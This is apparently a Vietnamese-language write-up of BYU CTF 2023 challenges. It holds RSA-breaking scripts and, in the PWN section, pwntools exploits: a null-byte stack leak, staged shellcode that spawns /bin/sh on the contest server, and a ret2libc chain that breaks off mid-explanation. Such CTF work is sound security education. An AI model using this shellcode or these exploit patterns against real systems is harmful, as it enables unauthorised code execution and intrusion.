# (writeup) BYU-CTF-2023
[official write-up](https://github.com/BYU-CSA/BYUCTF-2023#readme)
## CRYPTO
### RSA1
- script:
```python
from Crypto.Util.number import *
n = 287838647563564518717519107521814079281
e = 7
c = 258476617615202392748150555415953446503
#factor n
p = 18413880828441662521
q = 15631612382272805561
phi = (p-1)*(q-1)
d = inverse(e,phi)
m =pow(c,d,n)
flag =long_to_bytes(m).decode()
print(flag)
```
> Flag: byuctf{too_smol}
---
### RSA2
- script:
```python
from Crypto.Util.number import *
n = 546014635841741214724882952304387823741798461149589549073179989118942746109940806878269775538274570065946589413677004071487344751464649121103982272835006900203922112014630898761428602513684456008956735791010937229939856259403186940249737579526542460562078728957198932156520780835942292131829398548678970431263462917223085165930683353518778015361505451889259321493813123084031407195410778661720394898118828299025325200597986154170392835072784810370185329392356423340408483449291280713796374297147668615988522804223480631576577707073715128342533703842150980913675658012799681575774731843549389349977365287936534707998476564357339504431638612839358093914282814270477657856345062084136585402704930924062452984009716927826681976269057923158930326380110735873715506666086031427627450725825495228912040943784627278987497908133546573083543604901933763330940965980882566819970423354937076331119777415405707162588442490342746115310986462330781467571631209829523895479737199963129517613642920935109776495829400236613168913129178658637967592913193540283532220304664924612246117951571439486418122093867454452618997458068515332016877486822805232899716524040444751997121936138984564834862354469295078855441829018404782747219665338778379471257704041
e = 65537
c = 497483520135207500611760341868934810216889295862727367409205471739457798733223813938415492642898622071289502771394670201759355356873731071744923938304067196827981196823596976532284031567818944043351160692892539254848854527943095670705184836531463778923699513154523281624336593518751911469590777921172775020125081803529411082078530404614569485860638460689961289946436553586222781503048987585305336865777424252321433817251942278548031598867440246798562662298880488044382840476214732326114298681849826143159014132251265975612736174765852107701466877003101250308950535660691651846052082123375934624356694170453897672257371991315676787548733520567289929667876604682273501711766130944645562650989837328685043543330211830184365436596077862055649246517141787872170320358968622818470064395975654949073402489903952399985907827496667385839890041608685588908200009780210043116940593521695695047783434230143405184690206691002634954008353327872663055826018481013718627348218684688250775372760462829705754318024652361552668830110066219305953343851243676904796434142570868419087560131333056695456062994781034014322792678534785191950145702468201676105282230660132801024614625267740668507168119879074770666830923799616054485447308126877109671082189614
#factor n
p = 23379772179812068808174060753537744579203831235837216258047345717791206838844783973094148970269358352883567686183840162453475135997997950171025172534250066839781721720291637394109275750765747393807129441718738564581300844549866075387635571271298099970059805382997224172143494300775742278526976057440901844970233807992493192827375594281731619879000721912671268883932814086571959959837609600236134071446484378655039534937911808777812990351810838102078057859303673209338100518315299313874836179635779981742550281014611235035038725280128727341135995530457136512443488805309366834219571741391932893715725604175334445964881
q = 23354146979807319379999035616961227366315140956417473671454187034894451162291754802462941941792796900830979379875976598091266482784685424013905480696388873312112449447015212036533336920764065285748033710474328055812364692120325949818178301777905279103958955246642416286153474237338739835798119305508201074075918506331902107847659951627678483765213310235851319160745426496852724170929530989982548624157909773262752522594414435161921211944019434983046703898010646693649668494220236993757035493132421299985405030215783112721654976457363937286689672094963265015048673356916456174809392166143308820305157390154213277022361
phi = (p-1)*(q-1)
d = inverse(e,phi)
m =pow(c,d,n)
flag =long_to_bytes(m).decode()
print(flag)
```
> Flag:byuctf{rsa_is_only_secure_when_p_and_q_are_unknown}
---
### RSA3
- Chall này cho ta data như sau:
```txt
n1 = 26936730986023789726214222876998431579035871765812234385674097050592112272540329063679602773116293498245937781951160051718036177035087801218359133356523071700951108999020905116034905584806261203518345118128714311038590925635180342040347317022008233631809623824589107373210514331169745651687793393307158179191306187356408951648269495142386375021669218752561961647301029204701333026044435685936341126368602940601101599988477874713569476970068734357580527463645209944448988010693985476127837819331701523891965427561798033127731232916390511986369304971158889254173850566560028528340860519614489276904182246324437302697433
e1 = 65537
c1 = 25934221721388531303090294836956821212346696995428676440185777623629033147440636130540319272854260855117016879903925227836710795492438220977864741830686432435183222727791461378988782191893620213711460265022633971293289987925875691438890670054518553696690583070284033592035281829227897938832962322172505881421894428362134145126751766514249801481330619906708370005958557827981820321861133293595400304305721764486699677941331024345924352161482159664366018182446127343098427579677894070842066840562853624060861183697917208697602208453017595582242281467105778066369782229287834403074433848470534633158573935584429007575715
n2 = 20923351960149847207730448386993771286287991808293298691185156471519720793292179321382926775933281826329369963004005667653815105072159583791658532166606431385861980687037872135521884790087813454844716254644626942821490878728677736261700329782075809716063515721266692286574071240561529911159730824490258866613280873755548760004314650585913096197607936750263556276920577987540676841745347308103070523989154846358123142014592046611945781700690640990848003152423310523158983857208127158850925297742214928064334410930947749935069628731105093722212442331657106356911123912454871778728334875010902513275561639806401894881233
e2 = 65537
c2 = 5993773597007465934515223705550947500391213737662065644971977783446564890828050443747162704068048188331597029929182281837445674583301936037963788912954366180921337518251139032904603786774772009913305609053718347365864177247549192649908207240197602397010006677485658506955283638199651692990436006544549785434255965098715363287267470252318128158357490592521797199393154974403123099999366644663048724011101287811844340320520544010179529188112211115440469084617438296961494801221969674213288489675624156545941630517075958425681203711654677553772595530799489102830165490202523397154229276688719481530893488434863906070343
```
- Ta thấy có 2 giá trị n1 và n2 nhưng lại chỉ có 1 e, ta thử tìm Ước chung lớn nhất của 2 giá trị n1 và n2 này, và đó sẽ chính là p
- Đoạn code sẽ như sau:
```python
from Crypto.Util.number import*
def egcd(a, b):
x,y, u,v = 0,1, 1,0
while a != 0:
q, remainder = b//a, b%a
m, n = x-u*q, y-v*q
b,a, x,y, u,v = a,remainder, u,v, m,n
gcd = b
return gcd
n1 = 26936730986023789726214222876998431579035871765812234385674097050592112272540329063679602773116293498245937781951160051718036177035087801218359133356523071700951108999020905116034905584806261203518345118128714311038590925635180342040347317022008233631809623824589107373210514331169745651687793393307158179191306187356408951648269495142386375021669218752561961647301029204701333026044435685936341126368602940601101599988477874713569476970068734357580527463645209944448988010693985476127837819331701523891965427561798033127731232916390511986369304971158889254173850566560028528340860519614489276904182246324437302697433
e1 = 65537
c1 = 25934221721388531303090294836956821212346696995428676440185777623629033147440636130540319272854260855117016879903925227836710795492438220977864741830686432435183222727791461378988782191893620213711460265022633971293289987925875691438890670054518553696690583070284033592035281829227897938832962322172505881421894428362134145126751766514249801481330619906708370005958557827981820321861133293595400304305721764486699677941331024345924352161482159664366018182446127343098427579677894070842066840562853624060861183697917208697602208453017595582242281467105778066369782229287834403074433848470534633158573935584429007575715
n2 = 20923351960149847207730448386993771286287991808293298691185156471519720793292179321382926775933281826329369963004005667653815105072159583791658532166606431385861980687037872135521884790087813454844716254644626942821490878728677736261700329782075809716063515721266692286574071240561529911159730824490258866613280873755548760004314650585913096197607936750263556276920577987540676841745347308103070523989154846358123142014592046611945781700690640990848003152423310523158983857208127158850925297742214928064334410930947749935069628731105093722212442331657106356911123912454871778728334875010902513275561639806401894881233
e2 = 65537
c2 = 5993773597007465934515223705550947500391213737662065644971977783446564890828050443747162704068048188331597029929182281837445674583301936037963788912954366180921337518251139032904603786774772009913305609053718347365864177247549192649908207240197602397010006677485658506955283638199651692990436006544549785434255965098715363287267470252318128158357490592521797199393154974403123099999366644663048724011101287811844340320520544010179529188112211115440469084617438296961494801221969674213288489675624156545941630517075958425681203711654677553772595530799489102830165490202523397154229276688719481530893488434863906070343
p = (egcd(n1,n2))
q = n1//p
phi = (p-1)*(q-1)
d = inverse(e1,phi)
print(long_to_bytes(pow(c1,d,n1)))
```
>Flag của chall này là: byuctf{coprime_means_factoring_N_becomes_much_easier}
---
### RSA4
- Với challs này nghĩ ngay tới [𝗛𝗮𝘀𝘁𝗮𝗱’𝘀 𝗯𝗿𝗼𝗮𝗱𝗰𝗮𝘀𝘁 𝗮𝘁𝘁𝗮𝗰𝗸 (𝗦𝗺𝗮𝗹𝗹 𝗖𝗥𝗧-𝗘𝘅𝗽𝗼𝗻𝗲𝗻𝘁)](https://en.wikipedia.org/wiki/Coppersmith%27s_attack#H%C3%A5stad's_broadcast_attack)
- script:
```python
from Crypto.Util.number import long_to_bytes
from functools import reduce
from gmpy2 import iroot
e123 = 3
n1 = 25204912957894049536633029588071532883154221495361435745558539407530325536509218257991893451902442183954212400671502526830623527340613723328379300388737939211263541814108106183164630301938900862986688763583982133846507136234797325243547177627054271161715200611591594812723672399437505379398941496184886411879923583394041753902383846644013849190900416111230521180435101859101110596828380586449182686175177638441549656137307050392520754146511496313215137339773851458160180450925216541537448515297981124184019831730808991821344392915274230294654187421183676471212265322367890189804699510021526923237231850244056681024361
c1 = 8177192204481601898705460379101384591996531766013815643642297541939314169289538943467463950155787562006058743758523755363825964609610993939021120980839831173842134605117089923025444468026164578567348718360392736482132312367435114106411271743218631041094275894508404221506482038656928803775293360599721583316194630449469869000491476753827928793659938654925187969087524783314008405767753004191090522037968098548258698350055999105058915648497702724525585509
n2 = 17730912385401458370516374144454354828481353051514329263921774569034415114147424203611660978860008058118764431105602401970281692066419254457694301039461623568501484102567802483628476717695013320444442267232019104240173401975387173805390636521671252624249730700497552226732834062715286458634274525026438931671208367178653031967364951679420066768732647183187381700016195545187024094717207787859217993871236368911145957298126589666514319408022801341248744002320245345234912423717815146532293315342644702101415345900126397475592837306256140915525455824350305349773210334856093169535686115299159772550674315375987529523179
c2 = 8177192204481601898705460379101384591996531766013815643642297541939314169289538943467463950155787562006058743758523755363825964609610993939021120980839831173842134605117089923025444468026164578567348718360392736482132312367435114106411271743218631041094275894508404221506482038656928803775293360599721583316194630449469869000491476753827928793659938654925187969087524783314008405767753004191090522037968098548258698350055999105058915648497702724525585509
n3 = 23693871552180460990138635073805949225912252125308334418081834697641804631104724668330415198785050388969117484647897131795893896100932121531733121069301557203541651575306855376180158639595396645851251320756224273151350168394783274111111375428683335001923152182758469432988805562827169898721409159172411067426322303967736140645806651181720610635139163613355013365367013643617931710120446074129630384181873406149243284193113399417540744056880787819360491511062694356302764642727497777585348003477373456680752873785829149551421840290660162776229985812994060664107888011786183808824620497078292008444842754064007647832261
c3 = 8177192204481601898705460379101384591996531766013815643642297541939314169289538943467463950155787562006058743758523755363825964609610993939021120980839831173842134605117089923025444468026164578567348718360392736482132312367435114106411271743218631041094275894508404221506482038656928803775293360599721583316194630449469869000491476753827928793659938654925187969087524783314008405767753004191090522037968098548258698350055999105058915648497702724525585509
def chinese_remainder(n, a):
sum = 0
prod = reduce(lambda a, b: a*b, n)
for n_i, a_i in zip(n, a):
p = prod // n_i
sum += a_i * mul_inv(p, n_i) * p
return sum % prod
def mul_inv(a, b):
b0 = b
x0, x1 = 0, 1
if b == 1: return 1
while a > 1:
q = a // b
a, b = b, a%b
x0, x1 = x1 - q * x0, x0
if x1 < 0: x1 += b0
return x1
m=chinese_remainder([n1,n2,n3],[c1,c2,c3])
flag = iroot(m,e123)[0]
print(long_to_bytes(flag))
```
> Flag: byuctf{hastad_broadcast_attack_is_why_e_needs_to_be_very_large}
---
### RSA5
- script:
```python
from Crypto.Util.number import long_to_bytes
from numpy import gcd ,mod
n = 158307578375429142391814474806884486236362186916188452580137711655290101749246194796158132723192108831610021920979976831387798531310286521988621973910776725756124498277292094830880179737057636826926718870947402385998304759357604096043571760391265436342427330673679572532727716853811470803394787706010603830747
e1 = 65537
c1 = 147465654815005020063943150787541676244006907179548061733683379407115931956604160894199596187128857070739585522099795520030109295201146791378167977530770154086872347421667566213107792455663772279848013855378166127142983660396920011133029349489200452580907847840266595584254579298524777000061248118561875608240
e2 = 65521
c2 = 142713643080475406732653557020038566547302005567266455940547551173573770529850069157484999432568532977025654715928532390305041525635025949965799289602536953914794718670859158768092964083443092374251987427058692219234329521939404919423432910655508395090232621076454399975588453154238832799760275047924852124717
u=-4095 #tìm u,v thông qua e1*u + e2*v = 1 và áp dụng euclid mở rộng
v=4096
# c1_inv là kết quả của nghịch đảo của c modul n
c1_inv = 41927986095072457444217736683837680663124015714519624826567637473436840224329050796518412622704248843623876460470352658796681519749838102909966117084980630961538920888206501864603139250353935696568348581578810754609263580820375423804224092959000250716559616575897834442887109531283082744504538831190992012975
m= (pow(c1_inv,-u) * pow(c2,v))%n
print(long_to_bytes(m))
```
> Flag:byuctf{NEVER_USE_SAME_MODULUS_WITH_DIFFERENT_e_VALUES}
---
### RSA5 script2
- Chall này cho ta 1 data như sau:
```txt
n = 158307578375429142391814474806884486236362186916188452580137711655290101749246194796158132723192108831610021920979976831387798531310286521988621973910776725756124498277292094830880179737057636826926718870947402385998304759357604096043571760391265436342427330673679572532727716853811470803394787706010603830747
e1 = 65537
c1 = 147465654815005020063943150787541676244006907179548061733683379407115931956604160894199596187128857070739585522099795520030109295201146791378167977530770154086872347421667566213107792455663772279848013855378166127142983660396920011133029349489200452580907847840266595584254579298524777000061248118561875608240
e2 = 65521
c2 = 142713643080475406732653557020038566547302005567266455940547551173573770529850069157484999432568532977025654715928532390305041525635025949965799289602536953914794718670859158768092964083443092374251987427058692219234329521939404919423432910655508395090232621076454399975588453154238832799760275047924852124717
```
- Ta thấy 2 bộ này đều cùng module n, có 2 e1 và e2, c1 và c2. Nhìn phát biết ngay sẽ cần phải tấn công kiểu nào
- Ta sẽ tấn công kiểu External Module
- Ta thấy gcd(e1,e2) = 1 --> sẽ thu được ``e1*a1 + e2*a2 = 1``
- Khi đó, ``c1^a1 * c2^a2 ≡ (m^e1)^a1 * (m^e2)^a2 ≡ m^(e1*a1 + e2*a2) ≡ m (mod n)``
- Tức là `` pow(c1,a1,n) * pow(c2,a2,n)%n = m``
```python
from Crypto.Util.number import*
import gmpy2
def egcd(a, b):
x,y, u,v = 0,1, 1,0
while a != 0:
q, remainder = b//a, b%a
m, n = x-u*q, y-v*q
b,a, x,y, u,v = a,remainder, u,v, m,n
gcd = b
return gcd, x, y
n = 158307578375429142391814474806884486236362186916188452580137711655290101749246194796158132723192108831610021920979976831387798531310286521988621973910776725756124498277292094830880179737057636826926718870947402385998304759357604096043571760391265436342427330673679572532727716853811470803394787706010603830747
e1 = 65537
c1 = 147465654815005020063943150787541676244006907179548061733683379407115931956604160894199596187128857070739585522099795520030109295201146791378167977530770154086872347421667566213107792455663772279848013855378166127142983660396920011133029349489200452580907847840266595584254579298524777000061248118561875608240
e2 = 65521
c2 = 142713643080475406732653557020038566547302005567266455940547551173573770529850069157484999432568532977025654715928532390305041525635025949965799289602536953914794718670859158768092964083443092374251987427058692219234329521939404919423432910655508395090232621076454399975588453154238832799760275047924852124717
g,a1,a2 = egcd(e1,e2)
m = pow(c1,a1,n) * pow(c2,a2,n) % n
print(long_to_bytes(m))
```
> Flag: byuctf{NEVER_USE_SAME_MODULUS_WITH_DIFFERENT_e_VALUES}
---
### Compact

- Link [Tool](https://www.dcode.fr/dotsies-writing)
- format flag:

> Flag: byuctf{well its definitely more compact}
___
## REV
### Rev Eng
- Sau khi tệp `gettingBetter` được tải xuống, tôi thực hiện `check` file.

- Biết được đây là tệp thực thi, tôi đã chạy tệp thực thi và nhập "paspharase" là một chuỗi bất kì và chương trình cho tôi biết điều đó không chính xác.

- Vì vậy tôi đã xác định được yêu cầu của thử thách là nhập đúng pass để lấy được flag. Bắt đầu quá trình debug bằng công cụ GDB:
- Tôi sẽ sử dụng lệnh sau để biết hàm `main` làm những gì:


- Tôi tìm được hàm `check passphrase` tại địa chỉ `0x00005555555551bf ` (có thể đoán được đây là hàm quyết định để ta có được flag) vì vậy tôi đặt break tại địa chỉ này và bắt đầu debug.

- Kết quả:

- passphrase đúng sẽ là `She turned me into a newt`

> Flag:byuctf{i_G0t_3etTeR!_1975}
---
## PWN
### 2038
- Source code
```c
int print_flag()
{
char v1; // [rsp+7h] [rbp-9h]
FILE *stream; // [rsp+8h] [rbp-8h]
stream = fopen("flag.txt", "r");
if ( !stream )
return puts("Could not find flag.txt");
while ( 1 )
{
v1 = getc(stream);
if ( v1 == -1 )
break;
putchar(v1);
}
return putchar(10);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v4; // rax
char *v5; // rax
int v6; // [rsp+4h] [rbp-2Ch]
time_t timer; // [rsp+8h] [rbp-28h] BYREF
time_t v8; // [rsp+10h] [rbp-20h] BYREF
char nptr[12]; // [rsp+1Ch] [rbp-14h] BYREF
unsigned __int64 v10; // [rsp+28h] [rbp-8h]
v10 = __readfsqword(0x28u);
puts("Task: 'print_flag'");
puts("Description: 'prints out the flag'");
puts("Date: 'undefined'\n");
puts("ERROR - date for 'print_flag' task is not defined");
puts("This task is not available until January 1st, 2024\n");
puts("You may optionally extend this task to be available later");
puts(
"To specify when you would like to make the task available, specify the number of seconds since January 1st, 1970 UTC");
printf("> ");
__isoc99_scanf("%10s", nptr);
v6 = atoi(nptr);
if ( (unsigned int)v6 > 0x6592007F )
{
timer = v6;
v4 = ctime(&timer);
printf("\nSpecified datetime - %s\n", v4);
v8 = time(0LL);
v5 = ctime(&v8);
printf("Current datetime - %s\n", v5);
if ( timer >= v8 )
{
puts("'print_flag' was not run because specified date has not occurred yet. Exiting...");
}
else
{
puts("Time requirement has been met. Running 'print_flag'...");
print_flag();
}
return 0;
}
else
{
puts("\nERROR - date must be after January 1st, 2024");
return 1;
}
}
```
- Ý tưởng
- Đây là bài time UNIX, đầu vào cho ta nhập vào 1 chuỗi và đổi chuỗi đó sang số thông qua hàm atoi()
```c
__isoc99_scanf("%10s", nptr);
v6 = atoi(nptr);
```
- Nói chung chỉ cần thoả các điều kiện thì nó sẽ in ra flag, chú ý đề bài `2038`, nên ta sẽ dùng các trang web `UNIX time converter` để convert sang số.
- Khai thác:
- Do đề bài hint cho ta năm 2038, nên ta sẽ convert năm 2038 còn ngày tháng bao nhiêu cũng được
- Kết quả

---
### VFS-1
- Source code
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
__attribute__((constructor)) void flush_buf() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void banner() {
puts("VVVVVVVV VVVVVVVVFFFFFFFFFFFFFFFFFFFFFF SSSSSSSSSSSSSSS ");
puts("V::::::V V::::::VF::::::::::::::::::::F SS:::::::::::::::S");
puts("V::::::V V::::::VF::::::::::::::::::::FS:::::SSSSSS::::::S");
puts("V::::::V V::::::VFF::::::FFFFFFFFF::::FS:::::S SSSSSSS");
puts(" V:::::V V:::::V F:::::F FFFFFFS:::::S ");
puts(" V:::::V V:::::V F:::::F S:::::S ");
puts(" V:::::V V:::::V F::::::FFFFFFFFFF S::::SSSS ");
puts(" V:::::V V:::::V F:::::::::::::::F SS::::::SSSSS ");
puts(" V:::::V V:::::V F:::::::::::::::F SSS::::::::SS ");
puts(" V:::::V V:::::V F::::::FFFFFFFFFF SSSSSS::::S ");
puts(" V:::::V:::::V F:::::F S:::::S");
puts(" V:::::::::V F:::::F S:::::S");
puts(" V:::::::V FF:::::::FF SSSSSSS S:::::S");
puts(" V:::::V F::::::::FF S::::::SSSSSS:::::S");
puts(" V:::V F::::::::FF S:::::::::::::::SS ");
puts(" VVV FFFFFFFFFFF SSSSSSSSSSSSSSS ");
puts("");
puts("");
puts("[+] Welcome to the Virtual File System! Here you can create, delete, and");
puts("modify files. In order to save space, multiple people are using this same");
puts("system. But don't worry! We've implemented a system to prevent people from");
puts("seeing each other's files. Enjoy!\n\n");
}
int menu() {
int choice;
puts("[+] What would you like to do?");
puts("1. Create a file");
puts("2. Delete a file");
puts("3. Modify a file");
puts("4. Read a file");
puts("5. Exit");
printf("> ");
scanf("%d", &choice);
return choice;
}
int main() {
banner();
// INITIALIZATIONS
struct filesystem {
char contents[2880];
char flag[64];
int current_file;
};
// get flag
struct filesystem fs;
char * buffer = 0;
long length;
FILE * f = fopen ("flag.txt", "rb");
if (f) {
fseek (f, 0, SEEK_END);
length = ftell (f);
fseek (f, 0, SEEK_SET);
buffer = malloc (length);
if (buffer) {
fread (buffer, 1, length, f);
}
fclose (f);
}
if (buffer) {
strcpy(fs.flag, buffer);
free(buffer);
}
else {
puts("[-] Error reading flag");
exit(1);
}
fs.current_file = 0;
char filename[32];
char contents[256];
while (1==1) {
int choice = menu();
if (choice == 1) {
if (fs.current_file == 10) {
puts("[-] Sorry, you can't create any more files!");
continue;
}
// create
puts("[+] What would you like to name your file?");
printf("> ");
scanf("%32s", filename);
puts("[+] What would you like to put in your file?");
printf("> ");
scanf("%256s", contents);
// copy filename
memcpy(fs.contents + (fs.current_file*288), filename, 32);
// copy contents
memcpy(fs.contents + (fs.current_file*288) + 32, contents, 256);
printf("[+] File created! (#%d)\n\n", fs.current_file);
fs.current_file++;
}
else if (choice == 2) {
// delete
//delete_file();
printf("Sorry, that hasn't been implemented yet!\n");
}
else if (choice == 3) {
// modify
//modify_file();
printf("Sorry, that hasn't been implemented yet!\n");
}
else if (choice == 4) {
// read
int file_to_read;
puts("[+] Which file # would you like to read?");
printf("> ");
scanf("%d", &file_to_read);
if ((file_to_read >= fs.current_file) || (file_to_read < 0)) {
puts("[-] Invalid file number");
continue;
}
printf("[+] Filename: %s", fs.contents + (file_to_read*288));
printf("[+] Contents: %s", fs.contents + (file_to_read*288) + 32);
}
else if (choice == 5) {
exit(0);
}
else {
puts("[-] Invalid choice");
exit(1);
}
}
}
```
- Ý tưởng:
- Đọc code khá lú, đại loại sẽ tạo (option 1) và đọc (option 4), khi ta debug ta thấy, flag sẽ được đọc và ghi vào heap như này


- Ta debug đến **strcpy** thì thấy nó như này

```c
strcpy@plt (
$rdi = 0x007fffffffdab0 → 0x0000000000000000,
$rsi = 0x00555555559690 → "this-is-fake-flag\n",
$rdx = 0x007fffffffdab0 → 0x0000000000000000
)
```
- Nghĩa là nó lấy flag bỏ vào địa chỉ 0x007fffffffdab0, lưu trong stack
- Flag của chúng ở đây
```gef
0x007fff9417f090│+0x0b60: "this-is-fake-flag\n"
0x007fff9417f098│+0x0b68: "fake-flag\n"
```
- Chuỗi chúng ta nhập ở đây
```gef
0x007fff9417e550│+0x0020: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa111111111111111111[...]"
0x007fff9417e558│+0x0028: "aaaaaaaaaaaaaaaaaaaaaaaa11111111111111111111111111[...]"
0x007fff9417e560│+0x0030: "aaaaaaaaaaaaaaaa1111111111111111111111111111111111[...]"
0x007fff9417e568│+0x0038: "aaaaaaaa111111111111111111111111111111111111111111[...]"
0x007fff9417e570│+0x0040: "11111111111111111111111111111111111111111111111111[...]"
0x007fff9417e578
```
- Nghĩa là nếu chúng ta có thể nối chuỗi ở `0x007fff9417e550` với flag thành 1 chuỗi không có null byte thì %s nó sẽ in ra hết và kèm flag của ta vào
- Thực thi
- Do ta chỉ được nhập 10 lần và chỉ cần 10 lần đó có thể tạo được một chuỗi dài không có null byte
- Chương trình cho ta nhập 32 byte tên và 256 byte nội dung nên ta vẫn nhập đủ 32 và 256 byte đó
- script:
```python
#!/usr/bin/python3
from pwn import *
exe = ELF('vfs1', checksec=False)
context.binary = exe
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*main+355
c
''')
input()
def info(msg): return log.info(msg)
def sla(msg, data): return p.sendlineafter(msg, data)
def sa(msg, data): return p.sendafter(msg, data)
def sl(data): return p.sendline(data)
def s(data): return p.send(data)
if args.REMOTE:
p = remote('byuctf.xyz', 40008)
else:
p = process(exe.path)
GDB()
def option1():
sla(b"> ", b"1")
sla(b"> ", b"a"*32)
sla(b"> ", b"1"*256)
for i in range(10):
option1()
p.interactive()
```

---
### Shellcode
- check file + checksec

- check source:
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#define MAP_ANONYMOUS 0x20
__attribute__((constructor)) void flush_buf() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
int main() {
// create memory for shellcode to reside in
mmap((char *)0x777777000, 71, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
// set first 51 bytes to 0s
memset((char *)0x777777000, 0x00, 51);
// get first 10 bytes of shellcode
char shellcode_one[10];
puts("Enter first 10 bytes of shellcode: ");
read(0, shellcode_one, 10);
memcpy((char *)0x777777000, shellcode_one, 10);
// get second 10 bytes of shellcode
char shellcode_two[10];
puts("Enter second 10 bytes of shellcode: ");
read(0, shellcode_two, 10);
memcpy((char *)0x777777020, shellcode_two, 10);
// get third 10 bytes of shellcode
char shellcode_three[10];
puts("Enter third 10 bytes of shellcode: ");
read(0, shellcode_three, 10);
memcpy((char *)0x777777040, shellcode_three, 10);
// get last 10 bytes of shellcode
char shellcode_four[10];
puts("Enter last 10 bytes of shellcode: ");
read(0, shellcode_four, 10);
memcpy((char *)0x777777060, shellcode_four, 10);
// call shellcode
((void (*)())0x777777000)();
return 0;
}
```
- thông qua source code ta sẽ nhập 4 lần shellcode, và cuối cùng thực thi shellcode ngay địa chỉ mình nhập lần đầu
- idea ban đầu là chia shellcode làm 4 phần

> 3 phần đầu
> phần 4 k cần thiết, nhập tuỳ thích (lệnh 'nop' vẫn được)
- tới đây chương trình sẽ thực thi shellcode mình bằng cách gọi rdx

- khi mình đi sâu vào lệnh bằng ``si`` thì thấy có mỗi 10 byte đầu của mình

- kiểm tra rdx:

- thấy là shellcode ta nhập cách nhau
- đổi hướng: gọi hàm **read** lên để chèn shellcode
- argument của **read** :

> rax : 0
> rdi : 0 (fd: file descriptor là stdin nên là 0)
> rsi : rdx ( *buf: vị trí ghi, lấy luôn tại rdx)
> rdx : rdx ( size : kích thước ghi, chắc khỏi đổi)
- check arg:

> có sẵn rax = NULL, rdi = NULL
- vậy shellcode gọi thằng read là

> 5 byte là quá đủ cho 1 cuộc tình
- sau khi gọi thành công thằng **read**, nó sẽ nhập lại vị trí mình nhập 5 byte gọi **read** lên, nên mình sẽ bypass qua 5 byte đó r thêm shellcode
- nó sẽ thực thi tiếp vị trí sau syscall gọi **read** (byte thứ 6)

> đóng server rồi nên chạy local đỡ
- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./shellcode',checksec=False)
context.arch = 'x86-64'
#p = process(exe.path)
p = remote('byuctf.xyz',40017)
# gdb.attach(p, gdbscript='''
# b*main+119
# b*main+178
# b*main+237
# b*main+296
# b*main+341
# c
# ''')
# input()
stage1 = asm('''
mov rsi,rdx
syscall
''',arch='amd64')
p.send(stage1)
bypass = asm('''
nop
''',arch='amd64')
p.send(bypass)
p.send(bypass)
p.send(bypass)
shellcode = asm(
'''
mov rbx, 29400045130965551
push rbx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
''', arch='amd64')
payload = b'\0'*5
payload += shellcode
p.send(payload)
p.interactive()
#byuctf{1m_als0_pretty_new_t0_pwn_s0_h0p3_it_was_g00d}
```
> Flag: byuctf{1m_als0_pretty_new_t0_pwn_s0_h0p3_it_was_g00d}
---
### frorg
- Source
```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4[12]; // [rsp+Ch] [rbp-34h] BYREF
int i; // [rsp+3Ch] [rbp-4h]
puts("I love frorggies so much! So much I made this application to store all the frorgie names you want");
puts("How many frorgies you want to store? ");
__isoc99_scanf("%d", v4);
for ( i = 0; i < v4[0]; ++i )
{
puts("Enter frorgy name: ");
read(0, (char *)&v4[1] + 10 * i, 0xAuLL);
}
puts("Thank you!");
return 0;
}
```
- Ý tưởng
- Ta chú ý dòng này ``read(0, (char *)&v4[1] + 10 * i, 0xAuLL);``, đại loại nó sẽ read vào địa chỉ ``v4 + 10 * i`` vậy các địa chỉ là sẽ liên tụ với nhau
```gef
0x007ffe213b4b28│+0x0008: 0x0000000900000000
0x007ffe213b4b30│+0x0010: "aaaaaaaaaa" ← $rsi
0x007ffe213b4b38│+0x0018: 0x00000000006161 ("aa"?)
```
- Ta debug thử thì đúng như lí thuyết, 10 byte tiếp theo sẽ là
```gef
0x007ffe213b4b28│+0x0008: 0x0000000900000000
0x007ffe213b4b30│+0x0010: "aaaaaaaaaa" ← $rsi
0x007ffe213b4b38│+0x0018: 0x62626262626161 ("aa"?)
0x007ffe213b4b40│+0x0020: 0x0000000062626262
```
- Vậy nó sẽ là ret2libc, chỉ là cực hơn thôi
- Chú ý chỗ này
```gef
0x007ffe213b4b50│+0x0030: 0x0000000000000000
0x007ffe213b4b58│+0x0038: 0x00000002d0090ad0
0x007ffe213b4b60│+0x0040: 0x0000000000000001 ← $rbp
```
- số 2 trong này sử dụng để biểu diễn số vòng lặp, nên khi ghi đè nó thì phải trả lại cho nó giá trị đúng, ở câu lệnh này
``0x401275 <main+139> cmp DWORD PTR [rbp-0x4], eax``
- khai thác
- offset
```python
sla(b"store? \n", b"9")
for i in range(4):
sa(b"name: \n", b"a" * 10)
payload = p64(0x0461616161) + b"aa"
sa(b"name: \n", payload)
```
- ``0x0461616161`` như nó ở trên nếu ghi đè giá trị vòng lặp nó sẽ lặp không đúng, nên ta sẽ phải có byte `0x4` để trả lại giá trị cho nó
- Trước lúc ghi đè
```gef
0x007ffe213b4b50│+0x0030: 0x6161616161616161
0x007ffe213b4b58│+0x0038: 0x00000003d0090ad0
0x007ffe213b4b60│+0x0040: 0x0000000000000001 ← $rbp
```
- Sau khi ghi đè
```gef
0x007ffd08da7f90│+0x0030: 0x6161616161616161
0x007ffd08da7f98│+0x0038: 0x0000000561616161
0x007ffd08da7fa0│+0x0040: 0x00000000006161 ("aa"?) ← $rbp
```
- overwrite rip
```python
sa(b"name: \n", b"\0" * 6 + p32(0x4011e5))
```
- ``0x4011e5`` là giá trị của pop rdi, ban đầu tính nhảy vào hàm pop rdi nhưng lằng nhằng quá nên ra lấy gadget, ta ghi đè được như này
```gef
0x007ffd08da7fa0│+0x0040: 0x00000000006161 ("aa"?) ← $rbp
0x007ffd08da7fa8│+0x0048: 0x00007fb3004011e5
```
```python
sa(b"name: \n", b"\0" * 4 + p32(0x404000) + b"\0\0")
```
- 4 byte null này để ghi đè cả địa chỉ này thành
``0x007ffd08da7fa8| : 0x000000004011e5``
